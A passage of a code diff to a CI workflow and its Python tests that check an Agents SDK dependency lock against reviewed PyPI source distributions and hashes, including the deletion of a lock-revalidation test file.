"https://files.pythonhosted.org/packages/54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz", "sha256:d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e"), "evdev": ("1.9.2", "https://files.pythonhosted.org/packages/63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz", "sha256:5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069")}; public = {"registry": "https://pypi.org/simple"}; approved = {name: [entry for entry in trusted["package"] if canonical(entry.get("name", "")) == name] for name in reviewed}; actual = {name: [entry for entry in current["package"] if canonical(entry.get("name", "")) == name] for name in reviewed}; safe = lambda artifact: isinstance(artifact, dict) and re.fullmatch(r"https://files\.pythonhosted\.org/packages/[^\s?#]+", artifact.get("url", "")) and re.fullmatch(r"sha256:[0-9a-f]{64}", artifact.get("hash", "")); assert all(len(approved[name]) == 1 and approved[name][0].get("version") == version and approved[name][0].get("source") == public and isinstance(approved[name][0].get("sdist"), dict) and approved[name][0]["sdist"].get("url") == url and approved[name][0]["sdist"].get("hash") == digest for name, (version, url, digest) in reviewed.items()), "Use only the immutable reviewed Agents source distributions"; assert all(len(actual[name]) <= 1 and (not actual[name] or actual[name][0].get("source") == public and (actual[name][0].get("version") == version and actual[name][0].get("sdist") == approved[name][0].get("sdist") or actual[name][0].get("version") != version and isinstance(wheels := actual[name][0].get("wheels"), list) and bool(wheels) and all(safe(artifact) for artifact in ([actual[name][0]["sdist"]] if "sdist" in actual[name][0] else []) + wheels) and all(wheel["url"].endswith(".whl") for wheel in wheels))) for name, (version, _, _) in reviewed.items()), "Use only the immutable reviewed Agents source distributions"; print(" ".join(name for name, (version, _, _) in reviewed.items() if actual[name] and actual[name][0].get("version") == version and actual[name][0].get("sdist") == approved[name][0].get("sdist")))')"
- denied_sources="$(python - "$reviewed_sources" <<'PY'
- import pathlib
- import re
- import sys
- import tomllib
-
- roots = {"openai": {"directory": "../openai-python"}, "openai-agents": {"editable": "."}}
- public = {"registry": "https://pypi.org/simple"}
- reviewed = set(sys.argv[1].split())
- packages = {}
- for package in tomllib.loads(pathlib.Path("uv.lock").read_text())["package"]:
- original = package.get("name")
- if not isinstance(original, str):
- raise SystemExit("Refuse an invalid Agents source-build package name")
- name = re.sub(r"[-_.]+", "-", original).lower()
- if not re.fullmatch(r"[a-z0-9][a-z0-9-]*", name):
- raise SystemExit("Refuse an invalid Agents source-build package name")
- if package.get("source") != roots.get(name, public) or name in packages and (
- original != packages[name] or name in roots
- ):
- raise SystemExit("Refuse an unreviewed Agents source-build package")
- packages[name] = original
- external = set(packages) - set(roots)
- denied = external - reviewed
- if not set(roots).issubset(packages) or not reviewed.issubset(external) or not denied:
- raise SystemExit("Refuse incomplete Agents source-build restrictions")
- print(" ".join(sorted(denied)))
- PY
- )"
- env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE="${denied_sources}" UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync
-
- - name: Run integration type checks
- env:
- UV_NO_BINARY_PACKAGE: 'openai openai-agents'
- UV_NO_SYNC: '1'
- working-directory: openai-agents-python
- run: make mypy
diff --git a/tests/test_agents_lock_revalidation.py b/tests/test_agents_lock_revalidation.py
deleted file mode 100644
index 6d54caa0a8..0000000000
--- a/tests/test_agents_lock_revalidation.py
+++ /dev/null
@@ -1,521 +0,0 @@
-from __future__ import annotations
-
-import os
-import sys
-import copy
-import json
-import shutil
-import textwrap
-import subprocess
-from typing import cast
-from pathlib import Path
-
-import pytest
-
-ROOT = Path(__file__).resolve().parents[1]
-WORKFLOW = ROOT / ".github/workflows/detect-breaking-changes.yml"
-BASE_SHA = "a" * 40
-REGISTRY = {"registry": "https://pypi.org/simple"}
-REVIEWED_SOURCES = {
- "aiohttp": (
- "3.12.15",
- "9b/e7/d92a237d8802ca88483906c388f7c201bbe96cd80a165ffd0ac2f6a8d59f/aiohttp-3.12.15.tar.gz",
- "4fc61385e9c98d72fcdf47e6dd81833f47b2f77c114c29cd64a361be57a763a2",
- ),
- "markupsafe": (
- "3.0.2",
- "b2/97/5d42485e71dfc078108a86d6de8fa46db44a1a9295e89c5d6d4a06e23a62/markupsafe-3.0.2.tar.gz",
- "ee55d3edf80167e48ea11a923c7386f4669df67d7994554387f84e7d8b0a2bf0",
- ),
- "pyyaml": (
- "6.0.2",
- "54/ed/79a089b6be93607fa5cdaedf301d7dfb23af5f25c398d5ead2525b063e17/pyyaml-6.0.2.tar.gz",
- "d584d9ec91ad65861cc08d42e834324ef890a082e591037abe114850ff7bbc3e",
- ),
- "evdev": (
- "1.9.2",
- "63/fe/a17c106a1f4061ce83f04d14bcedcfb2c38c7793ea56bfb906a6fadae8cb/evdev-1.9.2.tar.gz",
- "5d3278892ce1f92a74d6bf888cc8525d9f68af85dbe336c95d1c87fb8f423069",
- ),
-}
-
-
-def _program() -> str:
- workflow = WORKFLOW.read_text()
- marker = " - name: Verify relinked Agents lock package provenance\n"
- if marker in workflow:
- step = workflow.split(marker, 1)[1].split(" - name:", 1)[0]
- program = step.split(" python -I <<'PY'\n", 1)[1].split(" PY\n", 1)[0]
- return textwrap.dedent(program)
-
- line = next(
- line
- for line in workflow.splitlines()
- if "python -c '" in line and "Use only the immutable reviewed Agents source distributions" in line
- )
- return line.split("python -c '", 1)[1].rsplit("'", 1)[0]
-
-
-def _constraints_program() -> str:
- workflow = WORKFLOW.read_text()
- marker = " - name: Constrain Agents-only packages to reviewed locked versions\n"
- step = workflow.split(marker, 1)[1].split(" - name:", 1)[0]
- program = step.split(" python -I - \"$constraints\" <<'PY'\n", 1)[1].split(" PY\n", 1)[0]
- return textwrap.dedent(program)
-
-
-def _artifact(name: str, version: str, digest: str, suffix: str) -> dict[str, str]:
- return {
- "url": "https://files.pythonhosted.org/packages/aa/bb/" + name + "-" + version + suffix,
- "hash": "sha256:" + digest * 64,
- }
-
-
-def _package(
- name: str,
- version: str,
- *,
- source: dict[str, str] | None = None,
- sdist: bool = True,
- wheels: int = 1,
-) -> dict[str, object]:
- package: dict[str, object] = {"name": name, "version": version, "source": source or REGISTRY.copy()}
- if source is not None and "registry" not in source:
- return package
- if sdist:
- package["sdist"] = _artifact(name, version, "a", ".tar.gz")
- if wheels:
- package["wheels"] = [
- _artifact(name, version, str(index + 1), "-" + str(index) + ".whl") for index in range(wheels)
- ]
- return package
-
-
-def _lock(packages: list[dict[str, object]]) -> str:
- entries: list[str] = []
- for package in packages:
- lines = [
- "[[package]]",
- "name = " + json.dumps(package["name"]),
- "version = " + json.dumps(package["version"]),
- ]
- source = package["source"]
- assert isinstance(source, dict)
- typed_source = cast(dict[str, object], source)
- lines.append(
- "source = { " + ", ".join(key + " = " + json.dumps(value) for key, value in typed_source.items()) + " }"
- )
- sdist = package.get("sdist")
- if isinstance(sdist, dict):
- typed_sdist = cast(dict[str, object], sdist)
- lines.append(
- "sdist = { " + ", ".join(key + " = " + json.dumps(value) for key, value in typed_sdist.items()) + " }"
- )
- wheels = package.get("wheels")
- if isinstance(wheels, list):
- typed_wheels = cast(list[dict[str, object]], wheels)
- lines.append(
- "wheels = ["
- + ", ".join(
- "{ " + ", ".join(key + " = " + json.dumps(value) for key, value in wheel.items()) + " }"
- for wheel in typed_wheels
- )
- + "]"
- )
- entries.append("\n".join(lines))
- return "\n\n".join(entries) + "\n"
-
-
-def _execute(
- tmp_path: Path, variant: str, *, fork: bool = True, constraints: bool = False
-) -> subprocess.CompletedProcess[str]:
- agents = tmp_path / "agents"
- sdk = tmp_path / "openai-python"
- binaries = tmp_path / "bin"
- agents.mkdir()
- sdk.mkdir()
- binaries.mkdir()
-
- reviewed: list[dict[str, object]] = []
- for name, (version, path, digest) in REVIEWED_SOURCES.items():
- package = _package(name, version, wheels=0)
- package["sdist"] = {
- "url": "https://files.pythonhosted.org/packages/" + path,
- "hash": "sha256:" + digest,
- }
- reviewed.append(package)
-
- agents_root = _package("openai-agents", "0.22.0", source={"editable": "."})
- sdk_root = _package("openai", "3.3.1", source={"editable": "."})
- linked_sdk = _package("openai", "3.3.1", source={"directory": "../openai-python"})
- httpx = _package("httpx", "0.28.1", wheels=2)
- sdk_only = _package("sdk-only-lib", "1.0.0")
- wheel_only = _package("playwright", "1.0.0", sdist=False)
- old_sdk = _package("openai", "3.0.0")
- pynput = _package("pynput", "1.8.1")
- multiple = [_package("multi-version", "1.0.0"), _package("multi-version", "2.0.0")]
- trusted_agents = [agents_root, *reviewed, httpx, wheel_only, old_sdk, pynput, *multiple]
- trusted_sdk = [sdk_root, sdk_only, _package("httpx", "0.29.0")]
- current = copy.deepcopy([agents_root, linked_sdk, *reviewed, httpx, wheel_only, sdk_only])
-
- reviewed_pynput = _package("pynput", "1.6.8")
- reviewed_pynput_sdist: dict[str, str] = {
- "url": "https://files.pythonhosted.org/packages/e7/32/"
- "fa88984fc580de9e9fd08ee36dfd78ea15658d5b0268095785da7ab75ba0/pynput-1.6.8.tar.gz",
- "hash": "sha256:68c1863d6a1520b44b6a915e866cbfa1b8d127aef9289f25183c93e28ee5049a",
- }
- reviewed_pynput["sdist"] = reviewed_pynput_sdist
- reviewed_pynput_wheels: list[dict[str, str]] = [
- {
- "url": "https://files.pythonhosted.org/packages/33/0a/"
- "ea13c055a90b1aff5945e7eb330584f15e5282aead15a8f3cdb977a1534e/pynput-1.6.8-py2.py3-none-any.whl",
- "hash": "sha256:42d6d58abe401a4c98ea04e443e61f74b6b0f97672f42042f566c68700ad0c65",
- }
- ]
- reviewed_pynput["wheels"] = reviewed_pynput_wheels
-
- target = next(package for package in current if package["name"] == "httpx")
- if variant == "unreviewed-wheel":
- current.append(_package("unreviewed-wheel", "9.9.9", sdist=False))
- elif variant == "version":
- target["version"] = "9.9.9"
- elif variant == "sdk-reviewed-version":
- current[current.index(target)] = copy.deepcopy(trusted_sdk[-1])
- elif variant == "multiple-reviewed-versions":
- current.append(copy.deepcopy(trusted_sdk[-1]))
- elif variant == "wheel-url":
- wheels = target["wheels"]
- assert isinstance(wheels, list)
- wheels[0]["url"] = "https://files.pythonhosted.org/packages/aa/bb/replaced.whl"
- elif variant == "wheel-hash":
- wheels = target["wheels"]
- assert isinstance(wheels, list)
- wheels[0]["hash"] = "sha256:" + "f" * 64
- elif variant == "artifact-order":
- wheels = target["wheels"]
- assert isinstance(wheels, list)
- wheels.reverse()
- elif variant == "duplicate-artifact":
- wheels = target["wheels"]
- assert isinstance(wheels, list)
- typed_wheels = cast(list[dict[str, object]], wheels)
- typed_wheels.append(copy.deepcopy(typed_wheels[0]))
- elif variant == "missing-sdist":
- del target["sdist"]
- elif variant == "private-registry":
- target["source"] = {"registry": "https://private.example/simple"}
- elif variant == "no-artifacts":
- target.pop("sdist", None)
- target.pop("wheels", None)
- elif variant == "duplicate-name":
- duplicate = copy.deepcopy(sdk_only)
- duplicate["name"] = "SDK_only.lib"
- current.append(duplicate)
- elif variant == "extra-editable":
- current.append(_package("rogue-root", "1.0.0", source={"editable": "."}))
- elif variant == "sdk-editable":
- next(package for package in current if package["name"] == "openai")["source"] = {"editable": "../openai-python"}
- elif variant == "sdk-other-directory":
- next(package for package in current if package["name"] == "openai")["source"] = {"directory": "../other"}
- elif variant == "sdk-version":
- next(package for package in current if package["name"] == "openai")["version"] = "9.9.9"
- elif variant == "agents-version":
- next(package for package in current if package["name"] == "openai-agents")["version"] = "9.9.9"
- elif variant == "fork-submitted-lock":
- injected = _package("fork-submitted-wheel", "9.9.9", sdist=False)
- current.append(injected)
- submitted_sdk = copy.deepcopy(trusted_sdk) + [injected]
- elif variant == "fork-submitted-pynput":
- submitted_sdk = copy.deepcopy(trusted_sdk) + [_package("pynput", "1.8.2")]
- elif variant == "sdk-symlink":
- sdk.rmdir()
- outside = tmp_path / "outside"
- outside.mkdir()
- sdk.symlink_to(outside, target_is_directory=True)
- elif variant.startswith("pynput-"):
- current.append(reviewed_pynput)
- if variant == "pynput-version":
- reviewed_pynput["version"] = "1.6.9"
- elif variant == "pynput-registry":
- reviewed_pynput["source"] = {"registry": "https://private.example/simple"}
- elif variant == "pynput-sdist-url":
- reviewed_pynput_sdist["url"] += ".replaced"
- elif variant == "pynput-sdist-hash":
- reviewed_pynput_sdist["hash"] = "sha256:" + "b" * 64
- elif variant == "pynput-wheel-url":
- reviewed_pynput_wheels[0]["url"] = "https://files.pythonhosted.org/packages/aa/bb/replaced.whl"
- elif variant == "pynput-wheel-hash":
- reviewed_pynput_wheels[0]["hash"] = "sha256:" + "c" * 64
- elif variant == "pynput-extra-wheel":
- reviewed_pynput_wheels.append(_artifact("pynput", "1.6.8", "d", ".whl"))
- elif variant == "pynput-missing-wheel":
- reviewed_pynput.pop("wheels")
- elif variant == "pynput-missing-sdist":
- reviewed_pynput.pop("sdist")
-
- submitted_sdk = locals().get("submitted_sdk", copy.deepcopy(trusted_sdk))
- (agents / "uv.lock").write_text(_lock(current))
- (sdk / "uv.lock").write_text(_lock(submitted_sdk))
- (tmp_path / "trusted-agents.lock").write_text(_lock(trusted_agents))
- (tmp_path / "trusted-sdk.lock").write_text(_lock(trusted_sdk))
-
- fake_git = binaries / "git"
- fake_git.write_text(
- "#!" + sys.executable + "\n"
- "import os, pathlib, sys\n"
- "root = pathlib.Path(os.environ['TEST_LOCK_ROOT'])\n"
- "args = sys.argv[1:]\n"
- "if args == ['remote', 'get-url', 'origin']:\n"
- " print('https://github.com/openai/openai-agents-python.git')\n"
- "elif args == ['show', 'HEAD:uv.lock']:\n"
- " print((root / 'trusted-agents.lock').read_text(), end='')\n"
- "elif args == ['-C', '../openai-python', 'remote', 'get-url', 'origin']:\n"
- " print('https://github.com/openai/openai-python.git')\n"
- "elif args == ['-C', '../openai-python', 'show', os.environ['TRUSTED_BUILD_BASE_SHA'] + ':uv.lock']:\n"
- " print((root / 'trusted-sdk.lock').read_text(), end='')\n"
- "else:\n"
- " raise SystemExit('unexpected git arguments: ' + repr(args))\n"
- )
- fake_git.chmod(0o755)
- environment = dict(os.environ)
- environment.update(
- {
- "PATH": str(binaries) + os.pathsep + os.environ["PATH"],
- "TEST_LOCK_ROOT": str(tmp_path),
- "UNTRUSTED_BUILD_FORK": "1" if fork else "0",
- "TRUSTED_BUILD_BASE_SHA": BASE_SHA,
- "RUNNER_TEMP": str(tmp_path),
- }
- )
-
- program = _constraints_program() if constraints else _program()
- if sys.version_info < (3, 11):
- program = "import sys, tomli; sys.modules['tomllib'] = tomli\n" + program
- arguments = [sys.executable, "-c", program]
- if constraints:
- constraints_path = tmp_path / "reviewed-constraints.txt"
- constraints_path.touch(mode=0o600)
- arguments.append(str(constraints_path))
- return subprocess.run(
- arguments,
- cwd=agents,
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
-
-
-@pytest.mark.parametrize(
- "variant",
- [
- pytest.param("unreviewed-wheel", id="unreviewed-wheel-introduced-by-relock"),
- pytest.param("version", id="reviewed-package-version-re-resolved"),
- pytest.param("wheel-url", id="reviewed-wheel-url-substituted"),
- pytest.param("wheel-hash", id="reviewed-wheel-hash-substituted"),
- pytest.param("duplicate-artifact", id="duplicate-wheel-record"),
- pytest.param("missing-sdist", id="reviewed-source-artifact-removed"),
- pytest.param("private-registry", id="private-package-registry"),
- pytest.param("no-artifacts", id="artifact-free-registry-package"),
- pytest.param("duplicate-name", id="duplicate-canonical-package-identity"),
- pytest.param("extra-editable", id="unreviewed-editable-root"),
- pytest.param("sdk-editable", id="sdk-source-kind-changed"),
- pytest.param("sdk-other-directory", id="sdk-directory-escape"),
- pytest.param("sdk-version", id="unreviewed-local-sdk-version"),
- pytest.param("agents-version", id="unreviewed-agents-root-version"),
- pytest.param("fork-submitted-lock", id="fork-lock-cannot-expand-trusted-union"),
- pytest.param("sdk-symlink", id="local-sdk-symlink-escape"),
- pytest.param("pynput-version", id="curated-pynput-version-substituted"),
- pytest.param("pynput-registry", id="curated-pynput-private-registry"),
- pytest.param("pynput-sdist-url", id="curated-pynput-source-url-substituted"),
- pytest.param("pynput-sdist-hash", id="curated-pynput-source-digest-substituted"),
- pytest.param("pynput-wheel-url", id="curated-pynput-wheel-url-substituted"),
- pytest.param("pynput-wheel-hash", id="curated-pynput-wheel-digest-substituted"),
- pytest.param("pynput-extra-wheel", id="curated-pynput-extra-wheel"),
- pytest.param("pynput-missing-wheel", id="curated-pynput-wheel-removed"),
- pytest.param("pynput-missing-sdist", id="curated-pynput-source-removed"),
- ],
-)
-def test_relinked_agents_lock_rejects_unreviewed_package_identities(tmp_path: Path, variant: str) -> None:
- result = _execute(tmp_path, variant)
- assert result.returncode != 0, result.stdout + result.stderr
-
-
-@pytest.mark.parametrize(
- "variant",
- [
- pytest.param("reviewed", id="trusted-union-includes-sdk-only-and-wheel-only"),
- pytest.param("artifact-order", id="wheel-order-is-not-security-significant"),
- pytest.param("sdk-reviewed-version", id="sdk-trusted-version-may-replace-agents-version"),
- pytest.param("multiple-reviewed-versions", id="distinct-reviewed-versions-of-same-name"),
- pytest.param("pynput-reviewed", id="curated-no-build-compatible-pynput-168-full-identity"),
- ],
-)
-@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
-def test_relinked_agents_lock_accepts_complete_trusted_identities(tmp_path: Path, variant: str, fork: bool) -> None:
- result = _execute(tmp_path, variant, fork=fork)
- assert result.returncode == 0, result.stdout + result.stderr
-
-
-def test_full_agents_lock_validation_runs_before_any_dependency_installation() -> None:
- workflow = WORKFLOW.read_text()
- link = workflow.index("run: uv add --no-sync ../openai-python")
- validation = workflow.index("- name: Verify relinked Agents lock package provenance")
- source_review = workflow.index("reviewed_sources=", validation)
- installation = workflow.index('UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync')
- assert link < validation < source_review < installation
- assert " python -I <<'PY'\n" in workflow[validation:source_review]
-
-
-def test_agents_sync_inherits_its_step_scoped_immutable_lock_policy(tmp_path: Path) -> None:
- workflow = WORKFLOW.read_text()
- link_step = workflow.split(" - name: Link to local SDK\n", 1)[1].split(" - name:", 1)[0]
- agents_workflow = workflow.split(" - name: Verify relinked Agents lock package provenance\n", 1)[1]
- install_step = agents_workflow.split(" - name: Install dependencies\n", 1)[1].split(" - name:", 1)[0]
- assert "UV_LOCKED:" not in link_step
- assert " UV_LOCKED: '1'\n" in install_step
- command = next(line.strip() for line in install_step.splitlines() if line.strip().endswith(" make sync"))
-
- make = tmp_path / "make"
- make.write_text(
- "#!" + sys.executable + "\n"
- "import os, sys\n"
- "assert sys.argv[1:] == ['sync']\n"
- "assert os.environ['UV_LOCKED'] == '1'\n"
- "assert os.environ['UV_NO_BINARY_PACKAGE'] == 'openai openai-agents aiohttp'\n"
- )
- make.chmod(0o755)
- environment = dict(os.environ)
- environment["PATH"] = str(tmp_path) + os.pathsep + os.environ["PATH"]
- environment["UV_LOCKED"] = next(
- line.split(":", 1)[1].strip().strip("'") for line in install_step.splitlines() if "UV_LOCKED:" in line
- )
- result = subprocess.run(
- ["bash", "-ec", "reviewed_sources=aiohttp\n" + command],
- cwd=tmp_path,
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
- assert result.returncode == 0, result.stdout + result.stderr
-
-
-def test_uv_locked_rejects_dependency_resolution_after_lock_validation(tmp_path: Path) -> None:
- uv = shutil.which("uv")
- if uv is None:
- pytest.skip("uv is unavailable")
-
- project = tmp_path / "project"
- project.mkdir()
- pyproject = project / "pyproject.toml"
- pyproject.write_text(
- '[project]\nname = "reviewed-project"\nversion = "1.0.0"\nrequires-python = ">=3.10"\ndependencies = []\n'
- )
- environment = dict(os.environ)
- environment["UV_CACHE_DIR"] = str(tmp_path / "cache")
- environment["UV_PYTHON_DOWNLOADS"] = "never"
- initial = subprocess.run(
- [uv, "--offline", "--directory", str(project), "lock"],
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
- assert initial.returncode == 0, initial.stdout + initial.stderr
-
- pyproject.write_text(pyproject.read_text().replace('version = "1.0.0"', 'version = "9.9.9"'))
- environment["UV_LOCKED"] = "1"
- attempted = subprocess.run(
- [uv, "--offline", "--directory", str(project), "sync", "--dry-run"],
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
- assert attempted.returncode != 0
- assert "lock" in attempted.stderr.lower()
-
-
-@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
-def test_agents_constraints_pin_only_unique_reviewed_agents_only_packages(tmp_path: Path, fork: bool) -> None:
- result = _execute(tmp_path, "reviewed", fork=fork, constraints=True)
- assert result.returncode == 0, result.stdout + result.stderr
- pins = set((tmp_path / "reviewed-constraints.txt").read_text().splitlines())
- assert "pynput==1.6.8" in pins
- assert "playwright==1.0.0" in pins
- assert "httpx==0.28.1" not in pins
- assert "httpx==0.29.0" not in pins
- assert not any(pin.startswith("multi-version==") for pin in pins)
- assert not any(pin.startswith("openai==") or pin.startswith("openai-agents==") for pin in pins)
- assert "sdk-only-lib==1.0.0" not in pins
-
-
-@pytest.mark.parametrize("fork", [True, False], ids=["immutable-fork-base", "reviewed-same-repository"])
-def test_submitted_fork_lock_cannot_remove_reviewed_agents_constraint(tmp_path: Path, fork: bool) -> None:
- result = _execute(tmp_path, "fork-submitted-pynput", fork=fork, constraints=True)
- assert result.returncode == 0, result.stdout + result.stderr
- pins = set((tmp_path / "reviewed-constraints.txt").read_text().splitlines())
- assert ("pynput==1.6.8" in pins) == fork
-
-
-def test_reviewed_constraints_apply_only_to_existing_no_sync_link_step() -> None:
- workflow = WORKFLOW.read_text()
- generator = workflow.index(" - name: Constrain Agents-only packages to reviewed locked versions\n")
- link = workflow.index(" - name: Link to local SDK\n", generator)
- validator = workflow.index(" - name: Verify relinked Agents lock package provenance\n", link)
- install = workflow.index(" - name: Install dependencies\n", validator)
- link_step = workflow[link:validator]
- assert generator < link < validator < install
- assert " UV_CONSTRAINT: " in link_step
- assert "steps.reviewed_agents_constraints.outputs.path" in link_step
- assert " run: uv add --no-sync ../openai-python\n" in link_step
- assert "UV_CONSTRAINT:" not in workflow[validator:]
- assert "mktemp" in workflow[generator:link]
- assert "GITHUB_OUTPUT" in workflow[generator:link]
-
-
-def test_uv_constraint_prevents_unreviewed_agents_only_upgrade_before_relink(tmp_path: Path) -> None:
- uv = shutil.which("uv")
- if uv is None:
- pytest.skip("uv is unavailable")
-
- candidate = tmp_path / "candidate"
- candidate.mkdir()
- (candidate / "pyproject.toml").write_text(
- '[project]\nname = "pynput"\nversion = "1.8.2"\nrequires-python = ">=3.10"\ndependencies = []\n'
- )
- vulnerable = tmp_path / "vulnerable"
- protected = tmp_path / "protected"
- for project in (vulnerable, protected):
- project.mkdir()
- (project / "pyproject.toml").write_text(
- '[project]\nname = "reviewed-agents"\nversion = "1.0.0"\nrequires-python = ">=3.10"\ndependencies = []\n'
- )
-
- environment = dict(os.environ)
- environment.pop("UV_CONSTRAINT", None)
- environment["UV_CACHE_DIR"] = str(tmp_path / "cache")
- environment["UV_PYTHON_DOWNLOADS"] = "never"
- unconstrained = subprocess.run(
- [uv, "--offline", "--directory", str(vulnerable), "add", "--no-sync", "../candidate"],
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
- assert unconstrained.returncode == 0, unconstrained.stdout + unconstrained.stderr
- assert 'version = "1.8.2"' in (vulnerable / "uv.lock").read_text()
-
- constraints = tmp_path / "reviewed-constraints.txt"
- constraints.write_text("pynput==1.6.8\n")
- environment["UV_CONSTRAINT"] = str(constraints)
- constrained = subprocess.run(
- [uv, "--offline", "--directory", str(protected), "add", "--no-sync", "../candidate"],
- env=environment,
- capture_output=True,
- text=True,
- check=False,
- )
- assert constrained.returncode != 0
- assert "pynput" in constrained.stderr
diff --git a/tests/test_uv_workflows.py b/tests/test_uv_workflows.py
index e48f265f7b..779777dabd 100644
--- a/tests/test_uv_workflows.py
+++ b/tests/test_uv_workflows.py
@@ -1033,7 +1033,6 @@ def test_source_builds_only_allowed_in_trusted_experimental_compatibility(
global_environment = workflow.split("\njobs:\n", 1)[0].rsplit("\nenv:\n", 1)[1]
assert re.search(r"^ UV_NO_BUILD: ['\"]?1['\"]?\s*$", global_environment, re.MULTILINE)
assert re.search(r"^ UV_NO_BINARY_PACKAGE: ['\"]?openai['\"]?\s*$", global_environment, re.MULTILINE)
- assert "openai-agents" not in global_environment
compatibility = dependency_workflow_jobs()["compatibility"]
assert "matrix.experimental" in compatibility
assert "(github.event_name == 'schedule' || github.event_name == 'workflow_dispatch')" in compatibility
@@ -1077,225 +1076,6 @@ def test_editable_project_sync_requires_only_the_reviewed_root_build_exemption()
assert accepted.returncode == 0, accepted.stdout + accepted.stderr
-def test_agents_sdk_build_exemption_only_covers_its_trusted_editable_project() -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- match = re.search(r"^ agents_sdk:\n(?P.*?)(?=^ [\w-]+:\n|\Z)", workflow, re.MULTILINE | re.DOTALL)
- assert match is not None
- job = match.group("body")
- trusted_checkout = job.index("repository: openai/openai-agents-python")
- exception = "UV_NO_BINARY_PACKAGE: 'openai openai-agents'"
- reviewed_sources = (
- 'env -u UV_NO_BUILD UV_NO_BUILD_PACKAGE="${denied_sources}" '
- 'UV_NO_BINARY_PACKAGE="openai openai-agents ${reviewed_sources}" make sync'
- )
- assert job.count(exception) == 3
- assert job.count(reviewed_sources) == 1
-
- for command in ("uv add --no-sync ../openai-python", "make sync", "make mypy"):
- command_index = job.index(command)
- assert command_index > trusted_checkout
- step_start = job.rfind("\n - ", 0, command_index)
- step_end = job.find("\n - ", command_index)
- if step_end < 0:
- step_end = len(job)
- step = job[step_start:step_end]
- assert "working-directory: openai-agents-python" in step
- assert exception in step
- if command == "make sync":
- assert reviewed_sources in step
-
- assert exception not in job[:trusted_checkout]
- assert reviewed_sources not in job[:trusted_checkout]
-
-
-@pytest.mark.parametrize(
- ("reviewed", "requested", "variant", "accepted", "reaches_sync"),
- [
- pytest.param("evdev", "evdev", "reviewed", True, True, id="immutable-reviewed-source-can-build"),
- pytest.param("evdev", "aiohttp", "reviewed", False, True, id="inactive-static-allowlist-entry-stays-denied"),
- pytest.param(
- "evdev", "unreviewed-package", "reviewed", False, True, id="unreviewed-source-distribution-stays-denied"
- ),
- pytest.param(
- "evdev missing", "evdev", "reviewed", False, False, id="unverified-source-exemption-cannot-reach-sync"
- ),
- pytest.param("evdev", "evdev", "untrusted-source", False, False, id="untrusted-package-cannot-reach-sync"),
- pytest.param("evdev", "evdev", "missing-root", False, False, id="missing-local-root-cannot-reach-sync"),
- pytest.param(
- "evdev", "evdev", "duplicate-version", True, True, id="multiple-reviewed-lock-versions-can-reach-sync"
- ),
- pytest.param("evdev", "evdev", "duplicate-root", False, False, id="duplicate-local-root-cannot-reach-sync"),
- pytest.param("evdev", "evdev", "duplicate-alias", False, False, id="duplicate-package-cannot-reach-sync"),
- ],
-)
-def test_agents_source_sync_only_builds_immutable_reviewed_distributions(
- tmp_path: Path,
- monkeypatch: pytest.MonkeyPatch,
- reviewed: str,
- requested: str,
- variant: str,
- accepted: bool,
- reaches_sync: bool,
-) -> None:
- workflow = (ROOT / ".github/workflows/detect-breaking-changes.yml").read_text()
- job = workflow.split("\n agents_sdk:\n", 1)[1]
- match = re.search(
- r" - name: Install dependencies\n"
- r" working-directory: openai-agents-python\n"
- r" env:\n"
- r"(?: [^\n]*\n)+"
- r" run: \|\n"
- r"(?P.*?)(?=\n - name:|\Z)",
- job,
- re.DOTALL,
- )
- assert match is not None
- lines = [line[10:] for line in match.group("body").splitlines()]
- assert lines[0].startswith('reviewed_sources="$(python -c ')
- assert "Use only the immutable reviewed Agents source distributions" in lines[0]
- assert job.index("Verify relinked Agents lock package provenance") < job.index(lines[0])
- script = "\n".join(['reviewed_sources="$UV_TEST_REVIEWED_SOURCES"', *lines[1:]])
- if sys.version_info < (3, 11):
- script = script.replace("\nimport tomllib\n", "\nimport tomli as tomllib\n")
-
- public = 'registry = "https://pypi.org/simple"'
- packages = [
- ("openai-agents", 'editable = "."'),
- ("openai", 'directory = "../openai-python"'),
- ("evdev", public),
- ("aiohttp", public),
- ("MarkupSafe", public),
- ("pyyaml", public),
- ("unreviewed_package", public),
- ]
- if variant == "untrusted-source":
- packages[-1] = ("unreviewed_package", 'registry = "https://private.example/simple"')
- elif variant == "missing-root":
- packages.pop(0)
- elif variant == "duplicate-version":
- packages.append(("evdev", public))
- elif variant == "duplicate-root":
- packages.append(("openai", 'directory = "../openai-python"'))
- elif variant == "duplicate-alias":
- packages.append(("EVDEV", public))
- lock = "\n".join(
- f'[[package]]\nname = "{name}"\nversion = "{index + 1}"\nsource = {{ {source} }}\n'
- for index, (name, source) in enumerate(packages)
- )
- (tmp_path / "uv.lock").write_text(lock)
-
- log = tmp_path / "sync.json"
- executable = tmp_path / "make"
- executable.write_text(
- f"#!{sys.executable}\n"
- "import json, os, pathlib, sys\n"
- "entry = {'args': sys.argv[1:], 'no_build': os.environ.get('UV_NO_BUILD'), "
- "'no_build_packages': os.environ.get('UV_NO_BUILD_PACKAGE'), "
- "'no_binary_packages': os.environ.get('UV_NO_BINARY_PACKAGE')}\n"
- "pathlib.Path(os.environ['UV_TEST_LOG']).write_text(json.dumps(entry))\n"
- "requested = os.environ['UV_TEST_REQUESTED_SOURCE']\n"
- "if requested in set(entry['no_build_packages'].split()):\n"
- " raise SystemExit('source distribution denied by --no-build-package')\n"
- "if requested not in set(entry['no_binary_packages'].split()):\n"
- " raise SystemExit('source distribution was not explicitly reviewed')\n"
- )
- executable.chmod(0o755)
- monkeypatch.setenv("PATH", str(tmp_path) + os.pathsep + os.environ["PATH"])
